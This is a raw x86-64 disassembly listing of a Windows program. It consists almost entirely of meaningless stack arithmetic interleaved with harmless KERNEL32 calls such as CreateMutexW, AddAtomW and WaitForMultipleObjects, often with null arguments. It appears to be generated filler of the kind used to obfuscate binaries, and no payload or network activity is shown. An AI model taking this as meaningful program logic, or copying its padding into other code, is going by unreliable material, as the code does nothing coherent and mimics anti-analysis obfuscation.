mov rcx, qword [0x14018c018]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4b28]
mov qword [rcx], rax
lea rax, [rsp + 0xd38]
mov qword [0x14018c258], rax
mov rax, qword [rsp + 0x3f20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xccc]
and eax, ecx
mov rcx, qword [rsp + 0x4908]
mov word [rcx], ax
lea rax, [rsp + 0x1f20]
mov qword [rsp + 0x5a40], rax
movzx eax, byte [rsp + 0xc6]
movzx ecx, byte [rsp + 0x1ae]
shl eax, cl
mov byte [rsp + 0x1c8], al
lea rax, [rsp + 0x5590]
mov qword [rsp + 0x5a48], rax
movsx eax, byte [rsp + 0x1c9]
movsx ecx, byte [rsp + 0x1a2]
xor eax, ecx
mov byte [rsp + 0x1ac], al
mov rcx, qword [rsp + 0x53c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x5808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3358]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5000], rax
lea rax, [rsp + 0x1ff4]
mov qword [rsp + 0x5a50], rax
mov rax, qword [rsp + 0x5888]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc6c]
sub eax, ecx
mov word [rsp + 0xd6c], ax
movzx eax, word [rsp + 0xd68]
movzx ecx, word [rsp + 0x4c8]
sar eax, cl
mov word [0x14018c174], ax
mov rax, qword [rsp + 0x3f50]
mov rax, qword [rax]
mov qword [rsp + 0x5a58], rax
mov rcx, qword [rsp + 0x3c90]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f8], eax
movzx eax, word [rsp + 0xd08]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov rcx, qword [rsp + 0x4960]
mov word [rcx], ax
mov rax, qword [rsp + 0x3f98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x688], ax
mov rax, qword [rsp + 0x5328]
mov rcx, qword [rsp + 0x3428]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5828], rax
mov eax, dword [rsp + 0x2110]
mov ecx, dword [0x14018bdc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ec4], eax
mov rax, qword [rsp + 0x2b40]
mov qword [rsp + 0x5a60], rax
mov rax, qword [rsp + 0x5430]
movsx eax, byte [rax]
mov rcx, qword [0x14018bf10]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x51b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4a30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3d8]
sar eax, cl
mov word [rsp + 0x3f0], ax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3320]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [0x14018bf98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4520]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2094]
shl eax, cl
mov rcx, qword [rsp + 0x5148]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x80]
movzx ecx, byte [rsp + 0x1d2]
or eax, ecx
mov byte [rsp + 0x1d3], al
lea rax, [rsp + 0xce8]
mov qword [rsp + 0x5a68], rax
mov rax, qword [rsp + 0x59b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd28]
sub eax, ecx
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
lea rax, [rsp + 0x1bac]
mov qword [rsp + 0x5a70], rax
mov rax, qword [rsp + 0x5940]
mov rcx, qword [rsp + 0x4f18]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ec8]
mov qword [rcx], rax
mov r9d, 0x19
xor r8d, r8d
lea rdx, [rsp + 0x3aa0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x211c], eax
mov rax, qword [0x14018bf70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
sar eax, cl
mov byte [rsp + 0x14e], al
lea rax, [rsp + 0xd04]
mov qword [rsp + 0x5a78], rax
movzx eax, word [rsp + 0xcb8]
mov rcx, qword [rsp + 0x5960]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018ad70], ax
mov rax, qword [rsp + 0x5870]
mov rcx, qword [rsp + 0x3320]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
lea rax, [rsp + 0x34f8]
mov qword [rsp + 0x5a80], rax
mov rax, qword [0x14018c0b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x40b0], rax
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x5a88], rax
movsx eax, byte [rsp + 0x18d]
movsx ecx, byte [rsp + 0x1b7]
and eax, ecx
mov byte [rsp + 0x1cb], al
mov eax, dword [0x14018ad60]
mov ecx, dword [rsp + 0x2034]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20f0], eax
movzx ecx, word [rsp + 0xc74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdcc], ax
lea rax, [rsp + 0x30c0]
mov qword [rsp + 0x5a90], rax
mov rax, qword [rsp + 0x4a58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x50d8]
mov qword [rsp + 0x5a98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5a98]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4988]
mov dword [rcx], eax
lea rax, [rsp + 0x1b3]
mov qword [rsp + 0x5aa0], rax
movzx eax, word [rsp + 0x3ac]
mov word [0x14018c260], ax
mov rax, qword [rsp + 0x5410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab8]
shl eax, cl
mov word [rsp + 0xd58], ax
movzx ecx, word [rsp + 0xc8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd50], ax
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3b4]
xor eax, ecx
mov rcx, qword [rsp + 0x3ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3610]
mov qword [rsp + 0x5aa8], rax
mov rax, qword [rsp + 0x58b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d08]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5980], rax
movsx eax, byte [rsp + 0x1c9]
movsx ecx, byte [rsp + 0x1c2]
sub eax, ecx
mov byte [rsp + 0x16c], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x5ab0], rax
mov rax, qword [rsp + 0x5250]
mov rcx, qword [rsp + 0x4898]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20a8], eax
mov rax, qword [rsp + 0x4848]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6b0]
sub eax, ecx
mov word [rsp + 0xc5c], ax
lea rax, [rsp + 0x83c]
mov qword [rsp + 0x5ab8], rax
mov rax, qword [rsp + 0x49d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x39a8]
sar rax, cl
mov rcx, qword [0x14018bf68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x57a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x45c8]
mov word [rcx], ax
lea rax, [0x14018ace0]
mov qword [rsp + 0x5ac0], rax
mov rax, qword [rsp + 0x41a0]
mov rcx, qword [rsp + 0x40b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5578]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1b9]
movsx ecx, byte [rsp + 0x1ad]
and eax, ecx
mov byte [rsp + 0x1cd], al
lea rax, [rsp + 0x4e00]
mov qword [rsp + 0x5ac8], rax
mov rax, qword [rsp + 0x5520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b3]
and eax, ecx
mov rcx, qword [rsp + 0x3e58]
mov byte [rcx], al
lea rax, [rsp + 0x1fd0]
mov qword [rsp + 0x5ad0], rax
mov rax, qword [rsp + 0x5398]
mov rcx, qword [rsp + 0x5570]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x44d0]
mov dword [rcx], eax
lea rax, [rsp + 0xd20]
mov qword [0x14018c268], rax
lea rax, [rsp + 0xac4]
mov qword [rsp + 0x5ad8], rax
mov rax, qword [rsp + 0x5788]
movzx eax, word [rax]
movzx ecx, word [0x14018ad40]
sub eax, ecx
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
mov rax, qword [rsp + 0x4500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd58]
shl eax, cl
mov word [rsp + 0xd94], ax
lea rax, [rsp + 0x37b0]
mov qword [rsp + 0x5ae0], rax
mov rax, qword [rsp + 0x4e10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11d]
xor eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1e34]
mov dword [rsp + 0x2120], eax
mov rax, qword [rsp + 0x52b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4618]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov word [rcx], ax
movzx eax, word [rsp + 0xd00]
mov rcx, qword [rsp + 0x4818]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3f20]
mov word [rcx], ax
mov rax, qword [rsp + 0x44a8]
mov rcx, qword [rsp + 0x3e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14018bec0]
mov qword [rcx], rax
lea rax, [rsp + 0x3510]
mov qword [rsp + 0x5ae8], rax
mov rax, qword [rsp + 0x45c0]
mov rcx, qword [rsp + 0x5a58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x57d0]
mov qword [rcx], rax
lea rax, [rsp + 0x4928]
mov qword [rsp + 0x5af0], rax
movzx eax, word [rsp + 0xd28]
movzx ecx, word [rsp + 0x8e4]
sub eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov word [rcx], ax
mov eax, dword [rsp + 0x2094]
movzx ecx, al
mov eax, dword [rsp + 0x1c2c]
sar eax, cl
mov rcx, qword [rsp + 0x4d90]
mov dword [rcx], eax
lea rax, [rsp + 0x1bf]
mov qword [rsp + 0x5af8], rax
mov rax, qword [rsp + 0x4260]
mov rcx, qword [rsp + 0x3fa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5270]
mov dword [rcx], eax
lea rax, [0x14018be10]
mov qword [rsp + 0x5b00], rax
movzx eax, byte [rsp + 0x10e]
mov byte [0x14018bdca], al
movsx eax, word [rsp + 0xd20]
movsx ecx, word [rsp + 0x958]
sub eax, ecx
mov rcx, qword [rsp + 0x40b8]
mov word [rcx], ax
lea rax, [rsp + 0xd88]
mov qword [rsp + 0x5b08], rax
movzx eax, word [rsp + 0xd98]
mov rcx, qword [rsp + 0x59b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4460]
mov word [rcx], ax
mov rax, qword [rsp + 0x5450]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ec0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49a0]
mov qword [rcx], rax
lea rax, [rsp + 0x1bb]
mov qword [rsp + 0x5b10], rax
mov rax, qword [rsp + 0x4128]
mov rcx, qword [rsp + 0x4bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x5270]
mov eax, dword [rax]
mov dword [rsp + 0x2124], eax
movsx eax, word [rsp + 0x768]
movsx ecx, word [rsp + 0xca8]
shl eax, cl
mov rcx, qword [rsp + 0x5a28]
mov word [rcx], ax
movzx eax, word [rsp + 0xcc8]
mov rcx, qword [rsp + 0x4978]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018c0a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x44a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5058]
sar rax, cl
mov rcx, qword [rsp + 0x56c8]
mov qword [rcx], rax
lea rax, [0x14018ad4c]
mov qword [rsp + 0x5b18], rax
mov rax, qword [rsp + 0x4548]
mov ecx, dword [rsp + 0x1fd0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5210]
mov dword [rcx], eax
lea rax, [rsp + 0x1c3]
mov qword [rsp + 0x5b20], rax
mov rax, qword [rsp + 0x43c8]
mov ecx, dword [0x14018ad48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1f44], eax
movsx eax, byte [rsp + 0x1ab]
movsx ecx, byte [rsp + 0x1c7]
and eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x51c0]
mov rcx, qword [0x14018bfc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2d50], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2080], eax
mov rax, qword [rsp + 0x4148]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x56d0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4400]
mov word [rcx], ax
lea rax, [rsp + 0xcd4]
mov qword [0x14018c270], rax
mov rax, qword [rsp + 0x5578]
mov rax, qword [rax]
mov qword [rsp + 0x5b28], rax
mov rax, qword [rsp + 0x4f40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x33f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4360], rax
mov rax, qword [rsp + 0x4b50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6b0]
and eax, ecx
mov rcx, qword [rsp + 0x4658]
mov word [rcx], ax
lea rcx, str.nFF9x
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xdc0], ax
lea rax, [rsp + 0x544]
mov qword [rsp + 0x5b30], rax
mov rax, qword [0x14018bfa0]
mov ecx, dword [rsp + 0x20c0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2110], eax
lea rax, [rsp + 0x16c]
mov qword [rsp + 0x5b38], rax
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x4c60]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5808]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32a0]
movzx ecx, al
mov rax, qword [rsp + 0x4b98]
shl rax, cl
mov qword [rsp + 0x2c78], rax
mov rax, qword [rsp + 0x40b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd84]
or eax, ecx
mov word [0x14018ad44], ax
movzx eax, word [0x14018ad08]
mov rcx, qword [rsp + 0x4e70]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x8fc], ax
mov eax, dword [rsp + 0x20fc]
mov ecx, dword [rsp + 0x2060]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4548]
mov dword [rcx], eax
lea rax, [rsp + 0x1b3]
mov qword [rsp + 0x5b40], rax
mov rax, qword [rsp + 0x54c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x42d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fc0], rax
lea rax, [rsp + 0x2e70]
mov qword [rsp + 0x5b48], rax
movsx eax, byte [rsp + 0x1c5]
movsx ecx, byte [rsp + 0x157]
add eax, ecx
mov byte [rsp + 0xaa], al
mov eax, dword [rsp + 0x1e34]
mov ecx, dword [rsp + 0x1b14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2048], eax
mov edx, 0xc2a
mov rcx, qword [rsp + 0x3cc8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x206c], eax
lea rax, [rsp + 0xdac]
mov qword [rsp + 0x5b50], rax
lea rax, [rsp + 0xc60]
mov qword [0x14018c278], rax
mov rax, qword [rsp + 0x4f78]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2ad0], rax
lea rax, [rsp + 0xad4]
mov qword [rsp + 0x5b58], rax
movsx eax, word [rsp + 0xc88]
mov rcx, qword [rsp + 0x5278]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x2ec0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f10], rax
lea rax, [rsp + 0x2038]
mov qword [rsp + 0x5b60], rax
mov rax, qword [rsp + 0x5550]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4758]
mov byte [rcx], al
mov rax, qword [0x14018c0e8]
mov rax, qword [rax]
mov qword [rsp + 0x5b68], rax
mov rax, qword [rsp + 0x4e70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbc0]
xor eax, ecx
mov word [rsp + 0x8e4], ax
mov rax, qword [rsp + 0x3f08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5150]
mov qword [rsp + 0x5b70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5b70]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14018be90], rax
movzx eax, byte [rsp + 0x177]
movzx ecx, byte [rsp + 0xc6]
or eax, ecx
mov rcx, qword [rsp + 0x5520]
mov byte [rcx], al
lea rax, [rsp + 0x1e80]
mov qword [rsp + 0x5b78], rax
movsx eax, word [rsp + 0x958]
movsx ecx, word [rsp + 0xce4]
add eax, ecx
mov rcx, qword [rsp + 0x56b0]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5b80], rax
lea rax, [rsp + 0x4c8]
mov qword [rsp + 0x5b88], rax
mov rax, qword [rsp + 0x5a60]
mov rcx, qword [rsp + 0x4930]
mov qword [rsp + 0x5b90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5b90]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4bc0]
mov qword [rcx], rax
lea rax, [rsp + 0x1f90]
mov qword [rsp + 0x5b98], rax
movsx eax, byte [0x14018acd9]
movsx ecx, byte [rsp + 0x1cb]
sub eax, ecx
mov rcx, qword [rsp + 0x4870]
mov byte [rcx], al
movsx eax, word [rsp + 0x768]
movsx ecx, word [rsp + 0xb58]
and eax, ecx
mov rcx, qword [rsp + 0x5278]
mov word [rcx], ax
lea rax, [rsp + 0xce0]
mov qword [0x14018c280], rax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x5ba0], rax
mov rax, qword [rsp + 0x3fb8]
mov rcx, qword [rsp + 0x57d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
lea rax, [rsp + 0x2ac8]
mov qword [rsp + 0x5ba8], rax
movsx eax, word [rsp + 0xd74]
movsx ecx, word [rsp + 0xc98]
add eax, ecx
mov word [rsp + 0xc7c], ax
mov rax, qword [rsp + 0x5850]
mov rcx, qword [rsp + 0x4f18]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ce0]
mov qword [rcx], rax
lea rax, [rsp + 0x2034]
mov qword [rsp + 0x5bb0], rax
mov rax, qword [rsp + 0x47c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f98]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x51b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5930]
mov eax, dword [rax]
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x47e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d3]
imul eax, ecx
mov rcx, qword [rsp + 0x48c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5760]
movsx eax, word [rax]
mov rcx, qword [0x14018c238]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018bdf0]
mov word [rcx], ax
movzx eax, word [rsp + 0xb78]
movzx ecx, word [rsp + 0xdc4]
and eax, ecx
mov rcx, qword [rsp + 0x5600]
mov word [rcx], ax
mov rax, qword [rsp + 0x49b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x57c0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3cc], ax
mov rax, qword [rsp + 0x55c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3e70]
mov qword [rsp + 0x5bb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5bb8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x49f0]
mov qword [rcx], rax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x5bc0], rax
mov rax, qword [rsp + 0x58b0]
mov rcx, qword [rsp + 0x4438]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2118]
mov dword [rsp + 0x212c], eax
mov rax, qword [rsp + 0x5b50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd44]
add eax, ecx
mov rcx, qword [rsp + 0x43c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5b88]
movzx eax, word [rax]
mov rcx, qword [0x14018c230]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b78]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f40]
mov rcx, qword [rsp + 0x3098]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018bfb0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd48]
movzx ecx, word [rsp + 0x694]
sar eax, cl
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x5958]
mov rcx, qword [rsp + 0x3320]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b98], rax
mov rax, qword [rsp + 0x3610]
mov qword [rsp + 0x5bc8], rax
mov rax, qword [rsp + 0x47c0]
movsx eax, byte [rax]
movsx ecx, byte [0x14018bdca]
add eax, ecx
mov rcx, qword [rsp + 0x5248]
mov byte [rcx], al
mov rax, qword [rsp + 0x4720]
mov ecx, dword [rsp + 0x1fe4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5938]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20fc]
mov dword [rsp + 0x2130], eax
movzx eax, byte [rsp + 0x1c3]
cdq
mov ecx, 0xed
idiv ecx
mov rcx, qword [rsp + 0x4678]
mov byte [rcx], al
lea rax, [rsp + 0x4060]
mov qword [rsp + 0x5bd0], rax
lea rax, [rsp + 0x3ac]
mov qword [0x14018c288], rax
movsx eax, word [rsp + 0xda0]
movsx ecx, word [rsp + 0xc68]
add eax, ecx
mov rcx, qword [rsp + 0x4080]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fa4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2014], eax
mov rax, qword [0x14018c1b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x45a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xcfc], ax
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x5bd8], rax
movsx eax, byte [rsp + 0x1d6]
movsx ecx, byte [rsp + 0x1ad]
or eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
lea rax, [rsp + 0x1ca8]
mov qword [rsp + 0x5be0], rax
mov rax, qword [rsp + 0x50f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4540]
shl rax, cl
mov qword [rsp + 0x37b0], rax
movsx eax, word [rsp + 0xd38]
movsx ecx, word [rsp + 0x3ac]
xor eax, ecx
mov word [rsp + 0xbb4], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x4030]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8e4]
sub eax, ecx
mov word [rsp + 0xba8], ax
lea rax, [rsp + 0x32d0]
mov qword [0x14018c290], rax
mov rax, qword [0x14018be30]
mov rcx, qword [rsp + 0x37e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3900], rax
lea rax, [rsp + 0x2d90]
mov qword [rsp + 0x5be8], rax
mov rax, qword [rsp + 0x4a10]
mov rcx, qword [rsp + 0x4e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4300]
mov qword [rcx], rax
lea rax, [rsp + 0xd1c]
mov qword [rsp + 0x5bf0], rax
movzx eax, byte [0x14018acda]
movzx ecx, byte [rsp + 0x1ae]
cdq
idiv ecx
mov rcx, qword [rsp + 0x48c0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1f10]
movzx ecx, al
mov eax, dword [rsp + 0x1c40]
sar eax, cl
mov rcx, qword [rsp + 0x5180]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ec0]
movzx eax, byte [rax]
mov byte [rsp + 0x1d9], al
mov rax, qword [rsp + 0x57d8]
mov rcx, qword [rsp + 0x4b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x30c0], rax
mov rax, qword [rsp + 0x3ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bac]
add ecx, eax
mov eax, ecx
mov dword [0x14018be78], eax
mov rax, qword [0x14018be88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd3c]
sub eax, ecx
mov word [rsp + 0x9a8], ax
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xd04]
and eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x5bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x558]
and eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov word [rcx], ax
mov rax, qword [rsp + 0x32d0]
mov qword [rsp + 0x5bf8], rax
mov rax, qword [rsp + 0x4140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov byte [rcx], al
mov rax, qword [rsp + 0x5750]
mov qword [rsp + 0x5c00], rax
mov rax, qword [0x14018c188]
mov ecx, dword [rsp + 0x1b28]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x44d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x554]
or eax, ecx
mov rcx, qword [rsp + 0x4080]
mov word [rcx], ax
movzx eax, word [rsp + 0xd34]
movzx ecx, word [0x14018bf88]
shl eax, cl
mov word [0x14018ad74], ax
mov rax, qword [rsp + 0x4300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ae8]
mov qword [rsp + 0x5c08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5c08]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x39b8], rax
mov rax, qword [rsp + 0x50c0]
movzx eax, word [rax]
movzx ecx, word [0x14018ad4c]
sub eax, ecx
mov word [rsp + 0xd68], ax
movzx eax, byte [rsp + 0x1cc]
mov byte [rsp + 0x1da], al
mov rax, qword [rsp + 0x4f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x208c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f88]
mov dword [rcx], eax
lea rax, [rsp + 0x10e]
mov qword [rsp + 0x5c10], rax
mov rax, qword [rsp + 0x3fc0]
mov rcx, qword [rsp + 0x2b08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5140]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5238]
mov ecx, dword [rsp + 0x1bec]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1e7c], eax
lea rax, [rsp + 0x624]
mov qword [rsp + 0x5c18], rax
mov rax, qword [rsp + 0x4098]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x41c8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018c270]
mov word [rcx], ax
mov rax, qword [rsp + 0x2e58]
mov rcx, qword [rsp + 0x2fc8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5358], rax
lea rax, [rsp + 0x2ec0]
mov qword [rsp + 0x5c20], rax
movsx eax, word [rsp + 0xda0]
mov rcx, qword [rsp + 0x52a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdb4], ax
mov rax, qword [rsp + 0x4b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xccc]
sub eax, ecx
mov rcx, qword [rsp + 0x4788]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x5c28], rax
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0xaa]
or eax, ecx
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0x2e70]
mov rcx, qword [rsp + 0x2b88]
xor rcx, rax
